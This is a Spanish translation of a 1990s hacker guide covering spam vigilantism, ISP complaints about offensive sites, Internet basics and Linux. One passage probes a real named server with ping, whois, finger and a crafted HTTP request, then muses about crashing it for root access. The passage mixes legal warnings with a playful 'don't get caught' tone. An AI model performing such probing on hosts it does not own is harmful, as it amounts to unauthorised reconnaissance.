¿Y denunciar a los spammers? ¿Quizás podríamos denunciarles colectivamente y llevarlos a la bancarrota? El administrador de sistemas Terry McIntyre opina: "estoy en contra de los intentos de demandar a los spammers. Tenemos mecanismos de autorregulación suficientemente buenos. Considerando que la mitad de la gente que hay en Internet son novatos (a raíz de la tasa de crecimiento del 100%), diría que la política de autorregulación es totalmente efectiva. Pedid al gobierno que haga este trabajo por nosotros, y conseguiréis que algunos malditos burócratas escriban Reglas, Regulaciones y Penalizaciones y todas esas tonterías. Ya tenemos suficientes en el mundo fuera de Internet; no les invitemos a acompañarnos en Internet."

Por lo que parece, los profesionales de Internet prefieren controlar el spam a través de vigilantes de la red como nosotros, para atrapar a los spammers y avisar a sus ISPs. ¡Me gusta la idea! De hecho, sería bonito decir que sin nosotros, los vigilantes de la red, Internet probablemente llegaría a paralizarse por la carga que estos spammers provocan.

Bien, ya he terminado este artículo. Estaré atento a tus contribuciones a esta lista. ¡Feliz hacking ... y que no te pillen!

 

 

Cómo hacer desaparecer servidores web ofensivos


La tercera edición del libro del Happy Hacker contiene mucha información detallada sobre cómo combatir (de forma legal) cuando encuentras un web que consideras que no tiene derecho a existir. Mucha gente que se hace llamar hacker se ha quejado y ha protestado de lo mala que soy por mostrarle a la gente cómo hacer desaparecer servidores. No obstante, pienso que el derecho a protestar contra lo que consideras incorrecto es una parte esencial de la libertad de expresión.

Ah, sí, también explico una forma divertida y legal de entrar en los servidores web de tus amigos en la tercera edición del libro The Happy Hacker :) ) - Carolyn Meinel.


¿Cómo se puede hacer desaparecer un web ofensivo?

Recuerda que Internet es libre. No hay ninguna ley que obligue a los ISPs a dar servicio a la gente que no les gusta. Como Jeff Slayton, Crazy Kevin, los reyes del spam, y, oh, sí, los artistas originales del spam Cantor y Seigal han aprendido, la vida del spammer es una vida en continua fuga. Bien, lo mismo se aplica a los webs que se pasan de la raya.

El motivo por el que saco a relucir este tema es porque un miembro de la lista Happy Hacker me ha dicho que le gustaría realizar actos de vandalismo en webs de pornografía infantil. Pienso que es una idea realmente buena, salvo por un problema: ¡puedes ir a la cárcel! No quiero que las herramientas de hacking que puedes conseguir en webs y FTPs públicos tienten a nadie para que vaya a prisión. Es fácil utilizarlas para atacar webs. ¡Pero es difícil utilizarlas sin que te pillen!


Aviso de cárcel: introducirse en una parte de un ordenador que no está abierta al público no es legal. Además, si utilizas las líneas telefónicas o Internet a través de una frontera estatal de los EEUU para irrumpir en una zona no pública de un ordenador, has cometido un delito federal. No es necesario causar ningún daño: aún así es ilegal. Aunque sólo consigas acceso de superusuario y desactives tu conexión de forma inmediata: aún así es ilegal. Aunque estés cumpliendo con tu deber cívico destruyendo pornografía infantil: aún así es ilegal.


Intentar enviar a los tíos de la pornografía infantil a prisión no suele funcionar. Internet es global. Muchos países carecen de leyes contra la pornografía infantil en Internet. Incluso si fuese ilegal en todas partes, en muchos países la policía sólo mete a la gente en la cárcel a cambio de que les pagues un soborno mayor que el que les pagan los criminales.

Además, soy una convencida defensora de la Primera Enmienda. Dadle al gobierno el poder para censurar hasta la pornografía infantil y le estaréis dando al gobierno demasiado poder. Por otra parte, el mismo tipo de rechazo masivo que hace que los spammers tengan que huir constantemente puede también echar la pornografía infantil de la Red. Pero nadie puede obligar a un ISP a alojar pornografía infantil. De hecho, la mayoría de los seres humanos se sienten tan disgustados por ella que saltarán a la primera oportunidad de clausurarla. Si el ISP es gestionado por algún pervertido que quiere ganar dinero ofreciendo pornografía infantil, entonces hay que subir al siguiente nivel de la cadena: hasta el ISP que suministra conectividad al ISP de pornografía infantil. Allí habrá alguien con conciencia que desactivará a esos bas***dos.

De modo que, ¿cómo encuentras a alguien que pueda poner un web en fuga? Empecemos con la URL.

Voy a utilizar una URL real. Pero por favor tened en cuenta que no estoy diciendo que esta dirección sea en realidad una dirección Web con pornografía infantil. La estoy utilizando sólo con fines ilustrativos.

http://www.phreak.org

Digamos ahora que alguien os ha dicho que es un web de pornografía infantil. ¿Lanzarías un ataque directamente? No.

Así es como empiezan las guerras de hackers. ¿Qué pasa si phreak.org es realmente un sitio de buena gente? Aunque alguna vez hayan mostrado pornografía infantil, quizá se hayan arrepentido. Como no quiero que me atrapen por actuar según un rumor estúpido, voy al web y me encuentro con el mensaje "no hay entrada DNS". O sea, que parece que esta sede Web no está disponible en este momento.

Pero podría ser simplemente que la máquina que tiene el disco donde está este web esté temporalmente desconectada. Hay un modo de determinar si el ordenador que sirve un nombre de dominio está funcionando: la orden ping:

/usr/etc/ping phreak.org

La respuesta es:

/usr/etc/ping: máquina desconocida phreak.org

Ahora bien, si este web hubiese estado disponible, habría respondido como lo hace mi web:

/usr/etc/ping techbroker.com

Esto da por respuesta:

techbroker.com is alive

Bien, ya hemos visto que, al menos de momento, http://phreak.org no existe o que el ordenador en el que está no está conectado a Internet.

¿Pero esta situación es transitoria o esá desactivado definitivamente? Podemos hacernos una idea de si ha estado disponible y ha sido muy consultado desde el motor de búsqueda http://altavista.digital.com. Es capaz de buscar los enlaces de las páginas Web. ¿Hay muchos webs con vínculos a phreak.org? Introduzco en la búsqueda:

link: http://www.phreak.org
host: http://www.phreak.org

Pero no dan ningún resultado. De modo que parece que la dirección phreak.org no es muy popular.

Bien, ¿tiene phreak.org un registro en Internic? Probemos con un whois:

whois phreak.org
Phreaks, Inc. (PHREAK-DOM)
Phreaks, Inc.
1313 Mockingbird Lane
San Jose, CA 95132 US

Nombre de Dominio: PHREAK.ORG

Contacto Administrativo, Contacto de Facturación:
Connor, Patrick (PC61) pc@PHREAK.ORG
(408) 262-4142
Contacto Técnico, Contacto Local:
Hall, Barbara (BH340) rain@PHREAK.ORG
408.262.4142

Registro actualizado por última vez el 06-Feb-96.
Registro creado el 30-Apr-95.

Servidores de dominio listados por orden:

PC.PPP.ABLECOM.NET 204.75.33.33
ASYLUM.ASYLUM.ORG 205.217.4.17
NS.NEXCHI.NET 204.95.8.2

Intento hacer un telnet a la máquina:

telnet phreak.org

Probando 204.75.33.33 ...
Conectado a phreak.org.
La secuencia de escape es '^]'.

______________ _______________________________ __
___ __ \__ / / /__ __ \__ ____/__ |__ //_/____________________ _
__ /_/ /_ /_/ /__ /_/ /_ __/ __ /| |_ ,< _ __ \_ ___/_ __ `/
_ ____/_ __ / _ _, _/_ /___ _ ___ | /| |__/ /_/ / / _ /_/ /
/_/ /_/ /_/ /_/ |_| /_____/ /_/ |_/_/ |_|(_)____//_/ _\__, /
/____/

;
Conexión cerrada por la máquina remota

¡Ajá! ¡Alguien acaba de activar la máquina que aloja phreak.org!

El hecho de que esta máquina muestre sólo arte ASCII y ningún login para identificarse como usuario sugiere que este ordenador no acepta precisamente al visitante casual.

A continuación, intento hacer un finger a su contacto técnico:

finger rain@phreak.org

Su respuesta es:

[phreak.org]

A continuación aparece algo de arte ASCII más bien embarazoso. Haced un finger vosotros mismos si realmente queréis verlo. De todos modos, yo sólo lo calificaría de no apto para menores de 13 años.

El hecho de que phreak.org tenga activado un servicio de finger resulta interesante. Dado que finger es una de las vías más interesantes para entrar en el sistema para el hacker bien preparado, podemos extraer una de las siguientes conclusiones:

1) El administrador de sistema de phreak.org no está muy preocupado por la seguridad, o

2) Es tan importante para phreak.org enviar mensajes insultantes que el administrador de sistema no se preocupa del riesgo de ejecutar finger.

Bien, ¿qué pasa con su puerto HTML, que nos daría acceso a cualquier web albergada en phreak.org? Podemos comprobar si está activo con, lo habéis adivinado, un poquito de navegación de puertos:

telnet phreak.org 80

El resultado es:

Probando 204.75.33.33 ...
Conectado a phreak.org.
La secuencia de escape es '^]'.
HTTP/1.0 400 Bad Request
Server: thttpd/1.00
Content-type: text/html
Last-modified: Thu, 22-Aug-96 18:54:20 GMT

<HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD>
<BODY><H2>400 Bad Request</H2>
Your request '' has bad syntax or is inherently impossible to satisfy.
<HR>
<ADDRESS><A HREF="http://www.acme.org/software/thttpd/">
thttpd/1.00</A></ADDRESS>
</BODY></HTML>
Conexión cerrada por el ordenador remoto.

Ahora sabemos que phreak.org tiene algo parecido a un servidor web en su ordenador. Este servidor se llama thttpd, versión 1.0. ¡Podemos sospechar que es un poco defectuoso! ¿Qué me hace pensar que es defectuoso? Mira el número de la versión: 1.0. Además, el mensaje de error es un tanto extraño.

Si fuese un administrador técnico de phreak.org, me conseguiría un mejor programa para el puerto 80 antes de que alguien descubra cómo conseguir acceso de superusuario con él. El problema es que el código defectuoso es a menudo código que toma la alternativa sencilla de utilizar llamadas a root. En el caso de un servidor web, se quiere dar acceso de sólo lectura a los usuarios remotos sobre los directorios o ficheros html de cualquier usuario. De modo que hay una fuerte tentación de utilizar llamadas a root.

Y un programa con llamadas a root puede colgarse y finalizar dejándote acceso a root.


Nota para principiantes: ¡Root! Es el Cielo del auténtico cracker. "Root" es la cuenta de una máquina multiusuario que te permite jugar a ser Dios. Es la cuenta desde la que puedes entrar y utilizar cualquier otra cuenta de usuario, leer y modificar cualquier fichero y ejecutar cualquier programa. Con acceso root, puedes destruir por completo todos los datos en ISP.aburrido.net (¡*no* estoy sugiriendo que hagáis eso!).


Oh, esto es demasiado tentador. Haré un pequeño experimento:

telnet phreak.org 80

Esto da como resultado:

Probando 204.75.33.33 ...
Conectado a phreak.org.
La secuencia de escape es '^]'.

Dado que el programa en el puerto 80 tiene un tiempo de espera que expira en un segundo o menos, ya estaba preparada para pegar una orden:

<ADDRESS><A HREF="http://www.phreak.org/thttpd/">
thttpd/1.00</A></ADDRESS></BODY></HTML>

Esto nos da información sobre el programa del puerto 80 de phreak.com:

HTTP/1.0 501 Not Implemented
Server: thttpd/1.00
Content-type: text/html
Last-modified: Thu, 22-Aug-96 19:45:15 GMT <HTML><HEAD><TITLE>501 Not Implemented</TITLE></HEAD>
<BODY><H2>501 Not Implemented</H2>
The requested method '<ADDRESS><A' is not implemented by this server. <HR> <ADDRESS><A HREF="http://www.acme.org/software/thttpd/">
thttpd/1.00</A></ADDRESS> </BODY></HTML>
Conexión cerrada por máquina remota.

¿De acuerdo, qué es thttpd? Hago una rápida búsqueda en Altavista y consigo la respuesta:

Un servidor HTTP pequeño, rápido y seguro. Este pequeño y ultrarrápido servidor HTTP no realiza ningún fork y es muy cuidadoso con la memoria...

Ah, pero ¿pudo el programador descubrir cómo hacer esto sin realizar llamadas a root? Sólo para probar, intento acceder a la URL acme.org y obtengo el mensaje "no tiene entrada DNS". De modo que también está desconectado. Pero whois me dice que está registrado con Internic. Hmm, esto suena aún más a software de marca X. Y está funcionando en un puerto. ¡Entrada libre! Que tentación... aaahhh...

¿Qué conclusiones podemos sacar? Parece que phreak.org tiene un web, pero es de naturaleza privada. Sólo se activa de tanto en tanto.

Ahora suponed que encontramos algo realmente malo en phreak.org. Suponed que alguien quiere cerrarlo. No, ¡no toquéis ese defectuoso puerto 80!


Aviso de cárcel: ¿Estáis tan tentados como yo? ¡Estos tíos tienen abierta una destacada autopista para crackers que es el puerto 79, y un puerto 80 defectuoso! Pero de nuevo os digo que va contra la ley irrumpir en la zona no pública de un ordenador. Si hacéis un telnet a través de las líneas estatales de los EEUU, es un delito federal. Aunque pensáseis que hay algo ilegal en ese servidor thttpd, sólo alguien armado con una orden de registro tendría el derecho de examinarlo.


En primer lugar, enviaría normalmente un correo electrónico de queja a los contactos técnicos y administrativos de los ISPs que suministran la conexión a Internet de phreak.org. De modo que tendré que ver quiénes son con whois:

whois PC.PPP.ABLECOM.NET

Obtengo la respuesta:

[No name] (PC12-HST)

Nombre de máquina: PC.PPP.ABLECOM.NET
Dirección: 204.75.33.33
Sistema: Sun 4/110 running SunOS 4.1.3

Registro actualizado por última vez el 30-Abr-95

En este caso, dado que no hay ningún contacto listado, enviaría un mensaje a postmaster@ABLECOM.NET.

Compruebo el siguiente ISP:

whois ASYLUM.ASYLUM.ORG

Y obtengo:

[No name] (ASYLUM4-HST)

Nombre de máquina: ASYLUM.ASYLUM.ORG
Dirección: 205.217.4.17
Sistema: ? running ?

Registro actualizado por última vez el 30-Abr-96.

Nuevamente, enviaría un mensaje a postmaster@ASYLUM.ORG

Compruebo el último ISP:

whois NS.NEXCHI.NET

Y obtengo:

NEXUS-Chicago (BUDDH-HST)
1223 W North Shore, Suite 1E
Chicago, IL 60626

Nombre de máquina: NS.NEXCHI.NET
Dirección: 204.95.8.2
Sistema: Sun running Unix

Coordinador:
Torres, Walter (WT51) walter-t@MSN.COM
312-352-1200

Registro actualizado por última vez el 31-Dic-95.

Así que en este caso enviaría un mensaje a walter-t@MSN.COM con pruebas del material ofensivo.

Esto es todo. En lugar de provocar guerras de hackers a gran escala, que pueden acabar enviando a gente a la prisión, documentad vuestro problema con un web y pedid a los que tienen poder para retirar el servicio a estos tíos que hagan algo. Recordad, podéis ayudar a luchar contra los malos del ciberespacio mucho mejor desde vuestro ordenador que desde una celda en prisión.

Ah, y si os pica la curiosidad sobre si se puede hacer que thttpd se cuelgue y os deje en la cuenta de root o no, NO hagáis experimentos en el ordenador de phreak.org. Notarán todos esos extraños accesos al puerto 80 en su fichero de registro de la shell. Averiguarán quiénes sois y cómo enviaros a prisión si conseguís entrar.

Pero este es el tipo de desafío intelectual que pide que instaléis Linux en vuestro PC. A continuación, en Linux, tendríais que instalar httpd. ¡Acto seguido conectad vuestra máquina Linux a Internet y empezad a hacer telnets!

Si encontráseis un defecto en thttpd que pusiese seriamente en compromiso la seguridad de cualquier máquina que lo esté ejecutando, ¿qué haríais? ¿Eliminar los ficheros html de phreak.org? ¡NO! Te pondrías en contacto con el Equipo de Respuesta a Emergencias Informáticas (CERT) con esta información. Ellos enviarán una alerta y os convertiréis en héroes y podríais cobrar 1.500 dólares al día como consultores de seguridad informática. Es mucho más divertido que ir a prisión. Creedme.

Pero si lo que queréis es encontrar una forma de que thttpd te dé acceso de root, ¡hacedlo rápido o yo lo conseguiré antes!

Bien, doy por concluida esta Guía. Espero vuestras contribuciones a esta lista. Feliz hacking, ¡y no os dejéis coger!

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

VOLUMEN 2. Más Unix

 

Internet para torpes


Esta Guía se escribió en 1996, cuando Internet era joven. Algunas cosas que han cambiado desde entonces son:

·         En la actualidad el protocolo UUCP ha caído prácticamente en desuso.

·         La mayor parte de las comunicaciones actuales en Internet sigue una ruta más o menos estática a traves de líneas troncales comerciales, en lugar de pasar de un pequeño ordenador al siguiente (o al menos así ocurre en los países desarrollados).

Sáltate esto si eres un experto en Unix. Aunque si continúas leyendo, aprenderás nuevos trucos de hacker.


Las seis Guías de Hacking (casi) Inofensivo del Volumen 1 pasaban inmediatamente a los trucos prácticos. Pero si eres como yo, los detalles sobre buscar puertos, jugar con hipótesis y hacer ping a servidores puede marearte un poco. Así que, ¿qué tal tomar aliento, sentarte tranquilamente y revisar qué diablos tenemos entre manos? Una vez que dominemos los conceptos básicos podemos pasar a temas mas serios.

También he estado discutiendo con mi conciencia acerca de si dar instrucciones paso a paso sobre cómo conseguir acceso de root a ordenadores de otras personas. Un pequeño ángel a mi derecha me susurraba: "Conseguir acceso como root a un ordenador ajeno no está bien. No le digas a la gente cómo hacerlo". Mientras tanto, un diablillo a mi izquierda me decía: "Carolyn, esos hackers piensan que no sabes nada. ¡Demuéstrales que sabes hacer todo eso!". El ángel replicaba: "Si algún lector de la Guía utiliza los trucos, puedes tener problemas legales por fomentar la intromisión en ordenadores de otras personas". Y el diablillo decía: "Pero Carolyn, si le cuentas a la gente cómo hacerlo, pensarán que eres la mejor".

Y éste es el resultado. En ésta y en sucesivas ediciones de la Guía, describiré varios métodos para conseguir entrar como superusuario en algunos servidores de Internet, pero las instrucciones dejarán algunos detalles a la imaginación del lector. Mi teoría es que si estás dispuesto a empollarte todo esto, probablemente no serás uno de esos aprendices de hacker cutres que emplearían todo este conocimiento para hacer algo destructivo que les llevase a la cárcel.


Consejo técnico: Si quieres llegar a ser un verdadero hacker necesitarás instalar Linux (una variedad de Unix gratuita) en tu PC. Un motivo es que de este modo puedes acceder como root legalmente a un ordenador (el tuyo). Es muy duro luchar para llegar a ser root en el ordenador de otra persona y descubrir que lo que pensabas que era root era una hábil trampa y que el administrador del sistema y el FBI se ríen en tu cara mientras te llevan a la cárcel.

Para instalar Linux basta con tan poco como un PC con un procesador 386, 2 MBytes de RAM y 20 MBytes de disco duro. Necesitarás formatear el disco duro. Algunas personas han conseguido instalar Linux sin deshacerse de Windows y DOS, pero no cuentes con conseguirlo. ­¡Copias de seguridad, copias de seguridad!


[Nota de los traductores: desde la época en que se escribió esta Guía, esto ha cambiado bastante. Las distribuciones típicas de Linux de hoy en día necesitan más procesador, memoria y espacio de disco. Pero, por otro lado, hoy ya es relativamente sencillo instalarlo en el mismo disco duro en el que tienes instalado Windows, y hacer que Linux pueda acceder a archivos de la partición de Windows].


Aviso de cárcel: Acceder como root al ordenador de otra persona conlleva la posibilidad de terminar en prisión. Piensa en esto: cuando lees una noticia sobre la detención de un hacker, ¿con qué frecuencia reconoces su nombre? ¿Con qué frecuencia se trata de alguien muy conocido como Dark Tangent, se7en o Emmanuel Goldstein?. Prácticamente nunca. La razón de esto es que los verdaderos hackers saben cómo no cometer estupideces. Aprenden a acceder a otros ordenadores como desafío intelectual y también para averiguar cómo proteger ordenadores de extraños. Nunca consiguen el acceso root a golpes de machete y dejando un rastro de desastre a su paso, lo cual suele inspirar a los administradores la idea de llamar a la policía.



Una noticia excitante: ¿Te parece muy aburrido colarte en tu propio ordenador con Linux? Pues bien, Ira Winkler, de la National Computer Security Association, Dean Garlick del Space Dynamics Lab de la universidad del Estado de Utah y yo estamos trabajando en el proyecto hack.net, un lugar en el que sea legal colarse en ordenadores. No sólo eso, sino que estamos buscando patrocinadores que entreguen premios en metálico y becas para aquellos que demuestren tener las mejores habilidades. ¿No parece más divertido que ir a la cárcel?


Por tanto, comencemos nuestra sección sobre los conceptos básicos de hacking aprendiendo algo sobre esa maravillosa anarquía que es Internet.

Ten en cuenta que estas Guías de Hacking (casi) Inofensivo se centran en Internet. El motivo es que hay muchas maneras legales de practicar hacking en Internet. Además hay más de 10 millones de ordenadores a tu disposición y el número crece cada día.


Conceptos básicos sobre Internet


Nadie es el dueño de Internet. Nadie hace que funcione. Nunca nadie planeó que llegara a ser lo que es hoy. Simplemente ocurrió, fue la mutación de un experimento de la Agencia de Proyectos de Investigación Avanzada de Estados Unidos que comenzó en 1969. Este sistema anárquico permanece unido porque sus usuarios obedecen voluntariamente algunas reglas muy simples, que se pueden resumir en dos palabras: Unix y TCP/IP (con una ayudita de UUCP). Si realmente entiendes Unix y TCP/IP (y UUCP) estarás como pez en el agua en el ciberespacio, serás un hacker de élite entre los aprendices de hackers, un maestro del universo Internet.

Para ponernos en plan técnico, Internet es una red de comunicaciones de ámbito mundial ligada por un estándar de comunicaciones común, el Transmission Control Protocol/Internet Protocol (TCP/IP, Protocolo de Control de Transmisión/ Protocolo de Internet), además de un poco de UUCP. Estos estándares permiten que cualquiera pueda conectar un ordenador a Internet y convertirse en un nodo más de la red. Todo lo que se requiere es asignar una dirección Internet al ordenador, pasando a ser un servidor de Internet, y conectarlo a través de un medio de transmisión de datos. Estos medios de transmisión están disponibles en casi todo el mundo.

Si utilizas un servicio de acceso a Internet desde tu propio ordenador personal, tú también puedes formar parte temporalmente de Internet. Hay dos maneras principales de conectarse a un servicio de acceso.

La primera es la conexión típica del principiante: la comunicación se establece a través de PPP (Point-to-Point Protocol, Protocolo Punto a Punto) o SLIP, lo que permite ver bonitas imágenes a través del navegador Web. Si te has instalado el software que daba tu proveedor, estás usando este tipo de conexión. También puedes conectar utilizando un programa emulador de terminal para acceder a un servidor de Internet. Este programa puede ser tan simple como el Terminal de Windows 3.1 en Accesorios. Una vez que has marcado y conectado, eres un terminal más conectado al servidor. En este caso no hay imágenes ni fotografías. Es algo parecido a los antiguos y pasados de moda BBSs. Pero si sabes cómo usar este tipo de conexión, puedes llegar a conseguir acceso de root al servidor.

Pero, ¿cómo se conecta el servidor que utilizas a Internet? Posiblemente está ejecutando alguna variedad del sistema operativo Unix. Dado que Unix es tan fácil de adaptar a cualquier tipo de ordenador, esto significa que casi cualquier ordenador puede ser un servidor de Internet.

Por ejemplo, yo a veces accedo a Internet a través de un servidor que es un Silicon Graphics Indigo de la Universidad de Utah. Su dirección es fantasia.idec.sdl.usu.edu. Es un ordenador optimizado para trabajos de animación, pero también se puede usar como servidor de Internet. En otros casos, el punto de entrada que uso es pegasus.unm.edu, que es un IBM RS6000 modelo 370. Es un ordenador dedicado a investigación en la universidad de Nuevo Méjico.

Cualquier ordenador que pueda ejecutar el software necesario -básicamente el sistema operativo Unix-, que tenga un módem, y que esté conectado a un medio de comunicación tal como una línea telefónica, puede actuar como servidor de Internet. Incluso un PC puede ser un servidor si ejecutamos en él alguna de las variantes de Unix. Después de instalar y configurar Linux, puedes llegar a un acuerdo con el ISP que elijas para tener un enlace permanente a Internet.

De hecho, ¡muchos ISPs utilizan únicamente PCs en red con Linux!

Como resultado, todo el proceso de almacenamiento, envío, recepción y reenvío de mensajes en Internet es llevado a cabo por millones de ordenadores de diversos tipos, propiedad de innumerables empresas, instituciones educativas o gubernamentales e incluso personas.

Cada uno de esos ordenadores tiene asignada una dirección individual que permite acceder a él a través de Internet si está conectado al enlace de comunicaciones apropiado. Esta dirección se puede representar de dos modos: como un número o como un nombre.

Los enlaces de comunicaciones en Internet se establecen de la misma manera anárquica que los equipos. Cada propietario de un ordenador conectado a Internet es responsable de pagar y mantener el enlace que mantendrá a ese ordenador conectado con al menos otro ordenador. Este enlace puede ser tan simple como una línea telefónica, un enlace celular inalámbrico de paquetes de datos, o tan complejo como una conexión de fibra óptica de alta velocidad. Siempre que el enlace pueda utilizar TCP/IP o UUCP, sirve para Internet.

De esta manera, la Red crece sin coordinación global. El propietario de un nuevo ordenador conectado a Internet sólo necesita permiso para establecer un enlace con un servidor ya conectado para integrarse en la Red. Por otro lado, si el sistema que proporciona la conexión a la red decide que es, por ejemplo, un nido de spammers, puede desconectar a este "servidor rebelde" de Internet. El servidor rebelde deberá buscar otro nuevo enlace para volver a estar conectado.

La mayor parte de estas máquinas y enlaces de comunicaciones comparten un lenguaje común: el protocolo TCP/IP. Básicamente, TCP/IP divide cualquier información que queramos transmitir en "paquetes". Cada paquete contiene información sobre la ruta que debe seguir, el origen, el destino y algo de información extra sobre corrección de errores. La idea es que si un paquete se pierde, el emisor se enterará y volverá a enviarlo. Cada paquete es lanzado a la red. Ésta puede elegir automáticamente la ruta que un paquete debe seguir nodo a nodo empleando lo que haya disponible en cada momento, y volver a ensamblar todos los paquetes en el ordenador de destino en el orden correcto.

En ocasiones, la ruta que siguen los paquetes puede ser algo tortuosa. Por ejemplo, un paquete puede ir de un nodo de Boston a otro en Amsterdam y volver a Estados Unidos para llegar a su destino final en Houston, mientras que otro paquete del mismo mensaje puede enviarse a través de Tokio o Atenas. No obstante, lo normal es que el encaminamiento no sea tan enrevesado. El medio de comunicación puede ser fibra óptica, líneas telefónicas y satélites.

La gran ventaja de este sistema de red basado en intercambio de paquetes es que la gran mayoría de los bloques de información llegan a su destino incluso en situaciones de gran congestión de la red, o incluso si algunos tramos se encuentran temporalmente fuera de servicio. Como contrapartida, en ocasiones algunos paquetes se pierden en la red y puede llegar a ser imposible comunicarse con algunos ordenadores cuando hay demasiados tramos de red con problemas.

Sin embargo, es también muy posible practicar hacking con todas estas maravillosas características. Internet es tan robusta que puede seguir funcionando -o eso proclaman sus creadores- incluso después de una guerra nuclear. Al mismo tiempo, es tan débil que con tan sólo unos pocos conocimientos es posible hacerse pasar por otro sistema (falsificación de correo) o incluso bloquear un servidor (inundación por ping).

Por otra parte, las cabeceras de los paquetes que incluyen órdenes maliciosas muestran la dirección desde la cual está operando el hacker. Así que es complicado ocultarse perfectamente estando en Internet.

Es este equilibrio entre poder, robustez, debilidad y confusión, el que hace a Internet un patio de recreo para los hackers.

Por ejemplo: AQUI ESTA EL CONSEJO DE HACKING QUE HAS ESTADO ESPERANDO:

ftp://ftp.secnet.com

Este servidor FTP fue anunciado en la lista BUGTRAQ, dedicada a discutir problemas de seguridad en UNIX. Su moderador es Aleph One, un auténtico hacker de primera. Si deseas suscribirte a la lista, envía un correo a listserv@netspace.org con el contenido "subscribe BUGTRAQ".

Ahora volvamos a los conceptos básicos de Internet.

Linux


Chicos, es mucho más fácil instalar Linux hoy en día que cuando escribí esto en 1996. Si eres un principiante, tu primer Linux debería ser Caldera OpenLinux. Para facilitar aún más la instalación, usa un ordenador que te permita arrancar desde el CD-ROM, y asegúrate de que tu módem no es un "Winmodem". En Windows puedes comprobar esto haciendo click con el botón Derecho en "Mi PC", y seleccionando luego "Propiedades", "Administrador de dispositivos", "Módem". Si dice que tienes un Winmodem, compra un módem de verdad, asegurándote de que el fabricante diga que funciona con Linux. -- Carolyn Meinel


Unix se ha convertido en el principal sistema operativo en Internet. De hecho, Unix es el sistema operativo más utilizado en todo el mundo entre los ordenadores de mayor potencia que los PCs.

Ciertamente, Windows NT se está perfilando con rapidez como uno de los sistemas operativos comunes en Internet, y es taaan maravillosamente defectuoso que podría convertirse en el objetivo favorito número uno para los hackers. Pero hoy día Unix en todas sus fabulosas variantes es aún el sistema operativo que hay que conocer para ser un auténtico hacker de élite.

Hasta este momento, hemos supuesto que has estado practicando hacking desde una cuenta shell que te proporciona tu Proveedor de Servicios de Internet (ISP). Una cuenta shell te permite introducir órdenes Unix en uno de los ordenadores de tu ISP. Pero no necesitas un ISP para disfrutar de una máquina que te deje jugar con Unix. Puedes ejecutar Unix en tu propio ordenador y con una conexión SLIP o PPP estar conectado directamente a Internet.


Nota para principiantes: Las conexiones con Protocolo de Internet por Línea Serie (SLIP) y Protocolo Punto a Punto (PPP) te dan una dirección IP temporal que te permite estar conectado directamente a Internet. Tienes que utilizar conexiones SLIP o PPP para poder utilizar un navegador Web que te permita visualizar imágenes en lugar de sólo texto. De modo que si puedes ver imágenes en la Web, ya tienes una conexión de este tipo.

La ventaja de utilizar una de estas conexiones directas para tus actividades de hacking es que no dejarás rastros en un fichero de registro de shell que el administrador de sistema de tu ISP pueda examinar. Aunque no estés incumpliendo la ley, un fichero de historial de shell que indique que estás haciendo muchas actividades propias de un hacker puede ser motivo más que suficiente para que algunos administradores de sistema cierren inmediatamente tu cuenta.


¿Cuál es el mejor tipo de ordenador para ejecutar Unix? A menos que seas un adinerado hacker que no piensa en menos que en adquirir una estación de trabajo Sun SPARC, probablemente lo mejor para ti sea algún tipo de PC. Existen incontables variantes de Unix que funcionan sobre PC, y algunas para Mac. Muchas de ellas son de descarga gratuita, o disponibles a bajo precio en CD-ROMs.

Las tres variantes de Unix para PC más habituales son Sun Solaris, FreeBSD y Linux. Solaris cuesta en torno a los 700 dólares. Está todo dicho. FreeBSD está muy, muy bien. Pero no se encuentran muchos manuales o grupos de noticias que hablen de FreeBSD.

(Nota: hoy día puedes conseguir Solaris por 15 dólares si te das de alta como un desarrollador Solaris; http://www.sun.com/developers/solarispromo.htm)

Linux, sin embargo, tiene la ventaja de estar disponible en muchas variantes (de modo que te puedes divertir mezclando y combinando programas de diferentes variantes de Linux). Más aún, hay muchos manuales, grupos de noticias, listas de correo y webs dedicados a Linux. Si tienes amigos hackers en tu área, la mayoría de ellos probablemente utilizarán Linux y te podrán ayudar.


Nota histórica: Linux fue creado en 1991 por un grupo liderado por Linus Torvalds, de la Universidad de Helsinki. Los derechos de Linux están registrados bajo la Licencia Pública General GNU. Bajo este acuerdo, Linux se puede redistribuir a cualquiera junto con su código fuente. Cualquiera puede vender una variante de Linux y modificarla y reempaquetarla. Pero si alguien modifica el código fuente no podrá registrar los derechos de copia de nada creado a partir de Linux. Cualquiera que venda una versión modificada de Linux debe suministrar el código fuente a los compradores y permitir que lo reutilicen en sus productos comerciales sin cobrar licencias. Este acuerdo es conocido como "copyleft".

Bajo este acuerdo, los creadores originales de Linux no reciben primas de licencias o shareware. Linus Torvalds y los muchos otros que han contribuido a Linux lo han hecho por amor al arte de programar y por un sentido de comunidad con todos aquellos de nosotros que utilizaremos Linux siguiendo el espíritu del hacker legal. ¡Viva Linux! ¡Viva Torvalds!


Linux consiste en el sistema operativo en sí (llamado "kernel") y en un conjunto de programas asociados.

El kernel, como en todos los tipos de Unix, es un sistema operativo multiusuario y multitarea. Si bien utiliza una estructura de ficheros diferente, y por tanto no es compatible directamente con DOS y Windows, es tan flexible que se pueden ejecutar muchos programas DOS y Windows desde Linux. Un usuario avanzado probablemente querrá arrancar el sistema en Linux y ser capaz de ejecutar programas DOS y Windows desde Linux.

Los programas asociados que vienen con muchas distribuciones de Linux incluyen:

Las diez razones principales para instalar Linux en tu PC:

1.      Cuando Linux esté prohibido, sólo los proscritos tendrán Linux.

2.      Cuando se instala Linux, es muy divertido hacer un fdisk sin hacer copias de seguridad primero.

3.      Las respuestas airadas que resultan de hacer preguntas en los grupos de noticias de Linux son de mejor calidad que las que consigues cuando envías mensajes a alt.sex.bestiality.

4.      No importa qué variante de Linux instales; mañana descubrirás que había una versión mucho más potente que tendrías que haber instalado en su lugar.

5.      La gente que utiliza FreeBSD o Solaris no se reirán de ti. Te ofrecerán su comprensión.

6.      En la próxima Def Con podrás decir cosas como "entonces hice un su en su cuenta e hice un grep en todos sus ficheros buscando 'sexo'". Oops, mirar los ficheros de otra gente está prohibido, olvidad que lo haya sugerido.

7.      Navegar por puertos de forma privada.

8.      En una palabra: exploits.

9.      Instalar Linux en el PC de tu oficina es como ser un trabajador en correos y llevar una Uzi al trabajo.

10.  Además: si instalas Linux en el ordenador de tu oficina, tu jefe no tendrá ni idea de qué significa.

